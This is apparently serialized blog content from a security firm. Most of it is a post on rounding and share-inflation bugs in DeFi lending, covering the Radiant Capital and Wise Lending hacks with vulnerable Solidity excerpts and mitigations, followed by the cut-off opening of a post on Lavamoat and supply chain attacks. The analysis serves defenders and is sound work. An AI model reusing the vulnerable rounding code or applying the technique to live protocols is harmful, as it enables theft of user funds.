exploit the rounding error",{"type":24,"tag":101,"props":53716,"children":53717},{},[53718],{"type":29,"value":53719},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":101,"props":53721,"children":53722},{},[53723],{"type":29,"value":53724},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":62,"props":53726,"children":53728},{"id":53727},"decisions",[53729],{"type":29,"value":53730},"Decisions",{"type":24,"tag":25,"props":53732,"children":53733},{},[53734],{"type":29,"value":53735},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":85,"props":53737,"children":53739},{"id":53738},"radiant-capital",[53740],{"type":29,"value":53741},"Radiant Capital",{"type":24,"tag":25,"props":53743,"children":53744},{},[53745,53747,53754],{"type":29,"value":53746},"Radiant Capital was ",{"type":24,"tag":32,"props":53748,"children":53751},{"href":53749,"rel":53750},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[36],[53752],{"type":29,"value":53753},"hacked on Jan 2nd",{"type":29,"value":53755}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":25,"props":53757,"children":53758},{},[53759,53761,53768],{"type":29,"value":53760},"The exploit is relatively straightforward and ",{"type":24,"tag":32,"props":53762,"children":53765},{"href":53763,"rel":53764},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[36],[53766],{"type":29,"value":53767},"has already been covered previously",{"type":29,"value":41},{"type":24,"tag":25,"props":53770,"children":53771},{},[53772],{"type":29,"value":53773},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":85,"props":53775,"children":53777},{"id":53776},"wise-lending",[53778],{"type":29,"value":53779},"Wise Lending",{"type":24,"tag":25,"props":53781,"children":53782},{},[53783,53785,53792],{"type":29,"value":53784},"Wise Lending was ",{"type":24,"tag":32,"props":53786,"children":53789},{"href":53787,"rel":53788},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[36],[53790],{"type":29,"value":53791},"hacked on January 13th",{"type":29,"value":53793}," for just under $460,000.",{"type":24,"tag":25,"props":53795,"children":53796},{},[53797],{"type":29,"value":53798},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":25,"props":53800,"children":53801},{},[53802,53804,53811,53813,53820],{"type":29,"value":53803},"This is ",{"type":24,"tag":32,"props":53805,"children":53808},{"href":53806,"rel":53807},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[36],[53809],{"type":29,"value":53810},"the code responsible",{"type":29,"value":53812}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":32,"props":53814,"children":53817},{"href":53815,"rel":53816},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[36],[53818],{"type":29,"value":53819},"no way to atomically self-bankrupt",{"type":29,"value":41},{"type":24,"tag":261,"props":53822,"children":53824},{"className":12193,"code":53823,"language":12192,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[53825],{"type":24,"tag":135,"props":53826,"children":53827},{"__ignoreMap":7},[53828,53859,53867,53875,53882,53904,53917,53924,53945,53975,53987,53999,54006,54030,54047],{"type":24,"tag":271,"props":53829,"children":53830},{"class":273,"line":274},[53831,53836,53841,53845,53850,53855],{"type":24,"tag":271,"props":53832,"children":53833},{"style":3887},[53834],{"type":29,"value":53835},"uint256",{"type":24,"tag":271,"props":53837,"children":53838},{"style":288},[53839],{"type":29,"value":53840}," withdrawValue ",{"type":24,"tag":271,"props":53842,"children":53843},{"style":624},[53844],{"type":29,"value":762},{"type":24,"tag":271,"props":53846,"children":53847},{"style":288},[53848],{"type":29,"value":53849}," WISE_ORACLE.",{"type":24,"tag":271,"props":53851,"children":53852},{"style":598},[53853],{"type":29,"value":53854},"getTokensInETH",{"type":24,"tag":271,"props":53856,"children":53857},{"style":288},[53858],{"type":29,"value":4028},{"type":24,"tag":271,"props":53860,"children":53861},{"class":273,"line":284},[53862],{"type":24,"tag":271,"props":53863,"children":53864},{"style":288},[53865],{"type":29,"value":53866}," _poolToken,\n",{"type":24,"tag":271,"props":53868,"children":53869},{"class":273,"line":294},[53870],{"type":24,"tag":271,"props":53871,"children":53872},{"style":288},[53873],{"type":29,"value":53874}," _amount\n",{"type":24,"tag":271,"props":53876,"children":53877},{"class":273,"line":303},[53878],{"type":24,"tag":271,"props":53879,"children":53880},{"style":288},[53881],{"type":29,"value":694},{"type":24,"tag":271,"props":53883,"children":53884},{"class":273,"line":312},[53885,53889,53894,53899],{"type":24,"tag":271,"props":53886,"children":53887},{"style":624},[53888],{"type":29,"value":25253},{"type":24,"tag":271,"props":53890,"children":53891},{"style":288},[53892],{"type":29,"value":53893}," WISE_LENDING.",{"type":24,"tag":271,"props":53895,"children":53896},{"style":598},[53897],{"type":29,"value":53898},"lendingPoolData",{"type":24,"tag":271,"props":53900,"children":53901},{"style":288},[53902],{"type":29,"value":53903},"(_poolToken).collateralFactor\n",{"type":24,"tag":271,"props":53905,"children":53906},{"class":273,"line":321},[53907,53912],{"type":24,"tag":271,"props":53908,"children":53909},{"style":624},[53910],{"type":29,"value":53911}," /",{"type":24,"tag":271,"props":53913,"children":53914},{"style":288},[53915],{"type":29,"value":53916}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":271,"props":53918,"children":53919},{"class":273,"line":330},[53920],{"type":24,"tag":271,"props":53921,"children":53922},{"emptyLinePlaceholder":16},[53923],{"type":29,"value":327},{"type":24,"tag":271,"props":53925,"children":53926},{"class":273,"line":339},[53927,53931,53936,53940],{"type":24,"tag":271,"props":53928,"children":53929},{"style":3887},[53930],{"type":29,"value":37360},{"type":24,"tag":271,"props":53932,"children":53933},{"style":288},[53934],{"type":29,"value":53935}," state ",{"type":24,"tag":271,"props":53937,"children":53938},{"style":624},[53939],{"type":29,"value":762},{"type":24,"tag":271,"props":53941,"children":53942},{"style":288},[53943],{"type":29,"value":53944}," borrowPercentageCap\n",{"type":24,"tag":271,"props":53946,"children":53947},{"class":273,"line":347},[53948,53952,53956,53961,53966,53970],{"type":24,"tag":271,"props":53949,"children":53950},{"style":624},[53951],{"type":29,"value":25253},{"type":24,"tag":271,"props":53953,"children":53954},{"style":288},[53955],{"type":29,"value":1357},{"type":24,"tag":271,"props":53957,"children":53958},{"style":598},[53959],{"type":29,"value":53960},"overallETHCollateralsWeighted",{"type":24,"tag":271,"props":53962,"children":53963},{"style":288},[53964],{"type":29,"value":53965},"(_nftId) ",{"type":24,"tag":271,"props":53967,"children":53968},{"style":624},[53969],{"type":29,"value":9821},{"type":24,"tag":271,"props":53971,"children":53972},{"style":288},[53973],{"type":29,"value":53974}," withdrawValue)\n",{"type":24,"tag":271,"props":53976,"children":53977},{"class":273,"line":356},[53978,53982],{"type":24,"tag":271,"props":53979,"children":53980},{"style":624},[53981],{"type":29,"value":53911},{"type":24,"tag":271,"props":53983,"children":53984},{"style":288},[53985],{"type":29,"value":53986}," PRECISION_FACTOR_E18\n",{"type":24,"tag":271,"props":53988,"children":53989},{"class":273,"line":365},[53990,53994],{"type":24,"tag":271,"props":53991,"children":53992},{"style":624},[53993],{"type":29,"value":40116},{"type":24,"tag":271,"props":53995,"children":53996},{"style":288},[53997],{"type":29,"value":53998}," borrowAmount;\n",{"type":24,"tag":271,"props":54000,"children":54001},{"class":273,"line":374},[54002],{"type":24,"tag":271,"props":54003,"children":54004},{"emptyLinePlaceholder":16},[54005],{"type":29,"value":327},{"type":24,"tag":271,"props":54007,"children":54008},{"class":273,"line":384},[54009,54013,54018,54022,54026],{"type":24,"tag":271,"props":54010,"children":54011},{"style":749},[54012],{"type":29,"value":23277},{"type":24,"tag":271,"props":54014,"children":54015},{"style":288},[54016],{"type":29,"value":54017}," (state ",{"type":24,"tag":271,"props":54019,"children":54020},{"style":624},[54021],{"type":29,"value":5059},{"type":24,"tag":271,"props":54023,"children":54024},{"style":278},[54025],{"type":29,"value":1717},{"type":24,"tag":271,"props":54027,"children":54028},{"style":288},[54029],{"type":29,"value":919},{"type":24,"tag":271,"props":54031,"children":54032},{"class":273,"line":393},[54033,54038,54043],{"type":24,"tag":271,"props":54034,"children":54035},{"style":749},[54036],{"type":29,"value":54037}," revert",{"type":24,"tag":271,"props":54039,"children":54040},{"style":598},[54041],{"type":29,"value":54042}," ResultsInBadDebt",{"type":24,"tag":271,"props":54044,"children":54045},{"style":288},[54046],{"type":29,"value":4230},{"type":24,"tag":271,"props":54048,"children":54049},{"class":273,"line":402},[54050],{"type":24,"tag":271,"props":54051,"children":54052},{"style":288},[54053],{"type":29,"value":1171},{"type":24,"tag":25,"props":54055,"children":54056},{},[54057],{"type":29,"value":54058},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":25,"props":54060,"children":54061},{},[54062],{"type":29,"value":54063},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":25,"props":54065,"children":54066},{},[54067,54069,54075],{"type":29,"value":54068},"And indeed, ",{"type":24,"tag":32,"props":54070,"children":54073},{"href":54071,"rel":54072},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[36],[54074],{"type":29,"value":53779},{"type":29,"value":54076}," rounds up the share value.",{"type":24,"tag":261,"props":54078,"children":54080},{"className":12193,"code":54079,"language":12192,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[54081],{"type":24,"tag":135,"props":54082,"children":54083},{"__ignoreMap":7},[54084,54100,54117,54133,54145,54152,54160,54168,54188,54195,54216,54237,54259,54288,54309],{"type":24,"tag":271,"props":54085,"children":54086},{"class":273,"line":274},[54087,54091,54096],{"type":24,"tag":271,"props":54088,"children":54089},{"style":278},[54090],{"type":29,"value":39052},{"type":24,"tag":271,"props":54092,"children":54093},{"style":598},[54094],{"type":29,"value":54095}," _calculateShares",{"type":24,"tag":271,"props":54097,"children":54098},{"style":288},[54099],{"type":29,"value":4028},{"type":24,"tag":271,"props":54101,"children":54102},{"class":273,"line":284},[54103,54108,54113],{"type":24,"tag":271,"props":54104,"children":54105},{"style":3887},[54106],{"type":29,"value":54107}," uint256",{"type":24,"tag":271,"props":54109,"children":54110},{"style":630},[54111],{"type":29,"value":54112}," _product",{"type":24,"tag":271,"props":54114,"children":54115},{"style":288},[54116],{"type":29,"value":638},{"type":24,"tag":271,"props":54118,"children":54119},{"class":273,"line":294},[54120,54124,54129],{"type":24,"tag":271,"props":54121,"children":54122},{"style":3887},[54123],{"type":29,"value":54107},{"type":24,"tag":271,"props":54125,"children":54126},{"style":630},[54127],{"type":29,"value":54128}," _pseudo",{"type":24,"tag":271,"props":54130,"children":54131},{"style":288},[54132],{"type":29,"value":638},{"type":24,"tag":271,"props":54134,"children":54135},{"class":273,"line":303},[54136,54140],{"type":24,"tag":271,"props":54137,"children":54138},{"style":3887},[54139],{"type":29,"value":8093},{"type":24,"tag":271,"props":54141,"children":54142},{"style":630},[54143],{"type":29,"value":54144}," _maxSharePrice\n",{"type":24,"tag":271,"props":54146,"children":54147},{"class":273,"line":312},[54148],{"type":24,"tag":271,"props":54149,"children":54150},{"style":288},[54151],{"type":29,"value":694},{"type":24,"tag":271,"props":54153,"children":54154},{"class":273,"line":321},[54155],{"type":24,"tag":271,"props":54156,"children":54157},{"style":278},[54158],{"type":29,"value":54159}," private\n",{"type":24,"tag":271,"props":54161,"children":54162},{"class":273,"line":330},[54163],{"type":24,"tag":271,"props":54164,"children":54165},{"style":278},[54166],{"type":29,"value":54167}," pure\n",{"type":24,"tag":271,"props":54169,"children":54170},{"class":273,"line":339},[54171,54176,54180,54184],{"type":24,"tag":271,"props":54172,"children":54173},{"style":749},[54174],{"type":29,"value":54175}," returns",{"type":24,"tag":271,"props":54177,"children":54178},{"style":288},[54179],{"type":29,"value":1357},{"type":24,"tag":271,"props":54181,"children":54182},{"style":3887},[54183],{"type":29,"value":53835},{"type":24,"tag":271,"props":54185,"children":54186},{"style":288},[54187],{"type":29,"value":694},{"type":24,"tag":271,"props":54189,"children":54190},{"class":273,"line":347},[54191],{"type":24,"tag":271,"props":54192,"children":54193},{"style":288},[54194],{"type":29,"value":702},{"type":24,"tag":271,"props":54196,"children":54197},{"class":273,"line":356},[54198,54202,54207,54211],{"type":24,"tag":271,"props":54199,"children":54200},{"style":749},[54201],{"type":29,"value":9640},{"type":24,"tag":271,"props":54203,"children":54204},{"style":288},[54205],{"type":29,"value":54206}," _maxSharePrice ",{"type":24,"tag":271,"props":54208,"children":54209},{"style":624},[54210],{"type":29,"value":5059},{"type":24,"tag":271,"props":54212,"children":54213},{"style":278},[54214],{"type":29,"value":54215}," true\n",{"type":24,"tag":271,"props":54217,"children":54218},{"class":273,"line":365},[54219,54224,54229,54233],{"type":24,"tag":271,"props":54220,"children":54221},{"style":624},[54222],{"type":29,"value":54223}," ?",{"type":24,"tag":271,"props":54225,"children":54226},{"style":288},[54227],{"type":29,"value":54228}," _product % _pseudo ",{"type":24,"tag":271,"props":54230,"children":54231},{"style":624},[54232],{"type":29,"value":5059},{"type":24,"tag":271,"props":54234,"children":54235},{"style":477},[54236],{"type":29,"value":31954},{"type":24,"tag":271,"props":54238,"children":54239},{"class":273,"line":374},[54240,54245,54250,54254],{"type":24,"tag":271,"props":54241,"children":54242},{"style":624},[54243],{"type":29,"value":54244}," ?",{"type":24,"tag":271,"props":54246,"children":54247},{"style":288},[54248],{"type":29,"value":54249}," _product ",{"type":24,"tag":271,"props":54251,"children":54252},{"style":624},[54253],{"type":29,"value":12298},{"type":24,"tag":271,"props":54255,"children":54256},{"style":288},[54257],{"type":29,"value":54258}," _pseudo\n",{"type":24,"tag":271,"props":54260,"children":54261},{"class":273,"line":384},[54262,54267,54271,54275,54280,54284],{"type":24,"tag":271,"props":54263,"children":54264},{"style":624},[54265],{"type":29,"value":54266}," :",{"type":24,"tag":271,"props":54268,"children":54269},{"style":288},[54270],{"type":29,"value":54249},{"type":24,"tag":271,"props":54272,"children":54273},{"style":624},[54274],{"type":29,"value":12298},{"type":24,"tag":271,"props":54276,"children":54277},{"style":288},[54278],{"type":29,"value":54279}," _pseudo ",{"type":24,"tag":271,"props":54281,"children":54282},{"style":624},[54283],{"type":29,"value":1012},{"type":24,"tag":271,"props":54285,"children":54286},{"style":477},[54287],{"type":29,"value":27131},{"type":24,"tag":271,"props":54289,"children":54290},{"class":273,"line":393},[54291,54296,54300,54304],{"type":24,"tag":271,"props":54292,"children":54293},{"style":624},[54294],{"type":29,"value":54295}," :",{"type":24,"tag":271,"props":54297,"children":54298},{"style":288},[54299],{"type":29,"value":54249},{"type":24,"tag":271,"props":54301,"children":54302},{"style":624},[54303],{"type":29,"value":12298},{"type":24,"tag":271,"props":54305,"children":54306},{"style":288},[54307],{"type":29,"value":54308}," _pseudo;\n",{"type":24,"tag":271,"props":54310,"children":54311},{"class":273,"line":402},[54312],{"type":24,"tag":271,"props":54313,"children":54314},{"style":288},[54315],{"type":29,"value":1171},{"type":24,"tag":25,"props":54317,"children":54318},{},[54319,54324],{"type":24,"tag":10648,"props":54320,"children":54321},{},[54322],{"type":29,"value":54323},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":54325},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":25,"props":54327,"children":54328},{},[54329],{"type":29,"value":54330},"This is a really tricky invariant to reason about!",{"type":24,"tag":62,"props":54332,"children":54334},{"id":54333},"root-cause",[54335],{"type":29,"value":54336},"Root Cause",{"type":24,"tag":25,"props":54338,"children":54339},{},[54340],{"type":29,"value":54341},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":25,"props":54343,"children":54344},{},[54345],{"type":29,"value":54346},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":261,"props":54348,"children":54350},{"className":12193,"code":54349,"language":12192,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[54351],{"type":24,"tag":135,"props":54352,"children":54353},{"__ignoreMap":7},[54354],{"type":24,"tag":271,"props":54355,"children":54356},{"class":273,"line":274},[54357,54362,54366,54371,54375],{"type":24,"tag":271,"props":54358,"children":54359},{"style":288},[54360],{"type":29,"value":54361},"totalDepositShares ",{"type":24,"tag":271,"props":54363,"children":54364},{"style":624},[54365],{"type":29,"value":627},{"type":24,"tag":271,"props":54367,"children":54368},{"style":288},[54369],{"type":29,"value":54370}," _amount ",{"type":24,"tag":271,"props":54372,"children":54373},{"style":624},[54374],{"type":29,"value":12298},{"type":24,"tag":271,"props":54376,"children":54377},{"style":288},[54378],{"type":29,"value":54379}," pseudoTotalPool\n",{"type":24,"tag":25,"props":54381,"children":54382},{},[54383],{"type":29,"value":54384},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":25,"props":54386,"children":54387},{},[54388,54390,54394],{"type":29,"value":54389},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":10648,"props":54391,"children":54392},{},[54393],{"type":29,"value":27606},{"type":29,"value":54395}," integer division?",{"type":24,"tag":62,"props":54397,"children":54399},{"id":54398},"mitigations",[54400],{"type":29,"value":54401},"Mitigations",{"type":24,"tag":25,"props":54403,"children":54404},{},[54405],{"type":29,"value":54406},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":25,"props":54408,"children":54409},{},[54410,54412,54419],{"type":29,"value":54411},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":32,"props":54413,"children":54416},{"href":54414,"rel":54415},"https://twitter.com/danielvf/status/1746306320553152615",[36],[54417],{"type":29,"value":54418},"@danielvf notes",{"type":29,"value":54420},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":261,"props":54422,"children":54424},{"className":12193,"code":54423,"language":12192,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[54425],{"type":24,"tag":135,"props":54426,"children":54427},{"__ignoreMap":7},[54428,54452,54499,54533],{"type":24,"tag":271,"props":54429,"children":54430},{"class":273,"line":274},[54431,54435,54440,54444,54448],{"type":24,"tag":271,"props":54432,"children":54433},{"style":749},[54434],{"type":29,"value":23277},{"type":24,"tag":271,"props":54436,"children":54437},{"style":288},[54438],{"type":29,"value":54439}," (_totalSupply ",{"type":24,"tag":271,"props":54441,"children":54442},{"style":624},[54443],{"type":29,"value":5059},{"type":24,"tag":271,"props":54445,"children":54446},{"style":477},[54447],{"type":29,"value":767},{"type":24,"tag":271,"props":54449,"children":54450},{"style":288},[54451],{"type":29,"value":919},{"type":24,"tag":271,"props":54453,"children":54454},{"class":273,"line":284},[54455,54460,54464,54469,54474,54479,54484,54489,54494],{"type":24,"tag":271,"props":54456,"children":54457},{"style":288},[54458],{"type":29,"value":54459}," liquidity ",{"type":24,"tag":271,"props":54461,"children":54462},{"style":624},[54463],{"type":29,"value":762},{"type":24,"tag":271,"props":54465,"children":54466},{"style":288},[54467],{"type":29,"value":54468}," Math.",{"type":24,"tag":271,"props":54470,"children":54471},{"style":598},[54472],{"type":29,"value":54473},"sqrt",{"type":24,"tag":271,"props":54475,"children":54476},{"style":288},[54477],{"type":29,"value":54478},"(amount0.",{"type":24,"tag":271,"props":54480,"children":54481},{"style":598},[54482],{"type":29,"value":54483},"mul",{"type":24,"tag":271,"props":54485,"children":54486},{"style":288},[54487],{"type":29,"value":54488},"(amount1)).",{"type":24,"tag":271,"props":54490,"children":54491},{"style":598},[54492],{"type":29,"value":54493},"sub",{"type":24,"tag":271,"props":54495,"children":54496},{"style":288},[54497],{"type":29,"value":54498},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":271,"props":54500,"children":54501},{"class":273,"line":294},[54502,54507,54511,54515,54519,54523,54528],{"type":24,"tag":271,"props":54503,"children":54504},{"style":598},[54505],{"type":29,"value":54506}," _mint",{"type":24,"tag":271,"props":54508,"children":54509},{"style":288},[54510],{"type":29,"value":606},{"type":24,"tag":271,"props":54512,"children":54513},{"style":3887},[54514],{"type":29,"value":40311},{"type":24,"tag":271,"props":54516,"children":54517},{"style":288},[54518],{"type":29,"value":606},{"type":24,"tag":271,"props":54520,"children":54521},{"style":477},[54522],{"type":29,"value":4121},{"type":24,"tag":271,"props":54524,"children":54525},{"style":288},[54526],{"type":29,"value":54527},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":271,"props":54529,"children":54530},{"style":2058},[54531],{"type":29,"value":54532},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":24,"tag":271,"props":54534,"children":54535},{"class":273,"line":303},[54536,54541,54545],{"type":24,"tag":271,"props":54537,"children":54538},{"style":288},[54539],{"type":29,"value":54540},"} ",{"type":24,"tag":271,"props":54542,"children":54543},{"style":749},[54544],{"type":29,"value":11044},{"type":24,"tag":271,"props":54546,"children":54547},{"style":288},[54548],{"type":29,"value":7145},{"type":24,"tag":25,"props":54550,"children":54551},{},[54552,54554,54561],{"type":29,"value":54553},"Alternatively, ",{"type":24,"tag":32,"props":54555,"children":54558},{"href":54556,"rel":54557},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[36],[54559],{"type":29,"value":54560},"storing the conversion rate separately",{"type":29,"value":54562}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":261,"props":54564,"children":54566},{"className":12193,"code":54565,"language":12192,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[54567],{"type":24,"tag":135,"props":54568,"children":54569},{"__ignoreMap":7},[54570,54605],{"type":24,"tag":271,"props":54571,"children":54572},{"class":273,"line":274},[54573,54578,54582,54587,54591,54596,54600],{"type":24,"tag":271,"props":54574,"children":54575},{"style":288},[54576],{"type":29,"value":54577},"accrualIndices.borrowed ",{"type":24,"tag":271,"props":54579,"children":54580},{"style":624},[54581],{"type":29,"value":762},{"type":24,"tag":271,"props":54583,"children":54584},{"style":288},[54585],{"type":29,"value":54586}," accrualIndices.borrowed ",{"type":24,"tag":271,"props":54588,"children":54589},{"style":624},[54590],{"type":29,"value":627},{"type":24,"tag":271,"props":54592,"children":54593},{"style":288},[54594],{"type":29,"value":54595}," borrowInterestFactor ",{"type":24,"tag":271,"props":54597,"children":54598},{"style":624},[54599],{"type":29,"value":12298},{"type":24,"tag":271,"props":54601,"children":54602},{"style":288},[54603],{"type":29,"value":54604}," precision;\n",{"type":24,"tag":271,"props":54606,"children":54607},{"class":273,"line":284},[54608,54613,54617,54622,54626,54631,54635],{"type":24,"tag":271,"props":54609,"children":54610},{"style":288},[54611],{"type":29,"value":54612},"accrualIndices.deposited ",{"type":24,"tag":271,"props":54614,"children":54615},{"style":624},[54616],{"type":29,"value":762},{"type":24,"tag":271,"props":54618,"children":54619},{"style":288},[54620],{"type":29,"value":54621}," accrualIndices.deposited ",{"type":24,"tag":271,"props":54623,"children":54624},{"style":624},[54625],{"type":29,"value":627},{"type":24,"tag":271,"props":54627,"children":54628},{"style":288},[54629],{"type":29,"value":54630}," depositInterestFactor ",{"type":24,"tag":271,"props":54632,"children":54633},{"style":624},[54634],{"type":29,"value":12298},{"type":24,"tag":271,"props":54636,"children":54637},{"style":288},[54638],{"type":29,"value":54604},{"type":24,"tag":25,"props":54640,"children":54641},{},[54642],{"type":29,"value":54643},"We also want to note some general takeaways:",{"type":24,"tag":25,"props":54645,"children":54646},{},[54647,54649,54654],{"type":29,"value":54648},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":10648,"props":54650,"children":54651},{},[54652],{"type":29,"value":54653},"apply the state changes and check the invariant",{"type":29,"value":41},{"type":24,"tag":25,"props":54656,"children":54657},{},[54658],{"type":29,"value":54659},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":25,"props":54661,"children":54662},{},[54663],{"type":29,"value":54664},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":62,"props":54666,"children":54667},{"id":10547},[54668],{"type":29,"value":10550},{"type":24,"tag":25,"props":54670,"children":54671},{},[54672],{"type":29,"value":54673},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":25,"props":54675,"children":54676},{},[54677],{"type":29,"value":54678},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":10562,"props":54680,"children":54681},{},[54682],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":54684},[54685,54686,54687,54691,54692,54693],{"id":36692,"depth":284,"text":36695},{"id":53608,"depth":284,"text":53611},{"id":53727,"depth":284,"text":53730,"children":54688},[54689,54690],{"id":53738,"depth":294,"text":53741},{"id":53776,"depth":294,"text":53779},{"id":54333,"depth":284,"text":54336},{"id":54398,"depth":284,"text":54401},{"id":10547,"depth":284,"text":10550},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":54698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":54699,"description":54700,"author":54701,"image":54702,"date":54704,"isFeatured":16,"onBlogPage":16,"body":54705,"_type":10599,"_id":58179,"_source":10601,"_file":58180,"_stem":58181,"_extension":10604},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[38876,38875],{"src":54703},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":54706,"toc":58158},[54707,54711,54732,54737,54741,54746,54785,54791,54806,54824,54829,54834,54839,54852,55159,55185,55198,55203,55208,55222,55227,55240,55254,55485,55506,55541,55547,55552,55557,55771,55792,55798,55810,55900,55922,55958,55966,55984,56239,56265,56271,56285,56483,56502,56907,56920,56926,56945,57038,57043,57049,57062,57075,57161,57167,57179,57263,57275,57288,57294,57299,57313,57640,57645,57650,57656,57682,57737,57757,57810,57816,57821,57840,57851,58044,58050,58073,58079,58084,58097,58102,58107,58111,58116,58124,58154],{"type":24,"tag":62,"props":54708,"children":54709},{"id":26648},[54710],{"type":29,"value":26651},{"type":24,"tag":25,"props":54712,"children":54713},{},[54714,54721,54723,54730],{"type":24,"tag":32,"props":54715,"children":54718},{"href":54716,"rel":54717},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[36],[54719],{"type":29,"value":54720},"Supply chain",{"type":29,"value":54722}," attacks are becoming ",{"type":24,"tag":32,"props":54724,"children":54727},{"href":54725,"rel":54726},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[36],[54728],{"type":29,"value":54729},"increasingly popular in Web3",{"type":29,"value":54731},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":25,"props":54733,"children":54734},{},[54735],{"type":29,"value":54736},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":85,"props":54738,"children":54739},{"id":36692},[54740],{"type":29,"value":36695},{"type":24,"tag":25,"props":54742,"children":54743},{},[54744],{"type":29,"value":54745},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":3834,"props":54747,"children":54748},{},[54749,54761,54773],{"type":24,"tag":101,"props":54750,"children":54751},{},[54752,54759],{"type":24,"tag":32,"props":54753,"children":54756},{"href":54754,"rel":54755},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[36],[54757],{"type":29,"value":54758},"Lavamoat Browserify",{"type":29,"value":54760}," serves as a bundle packer. This helps organize and package JavaScript code for frontend 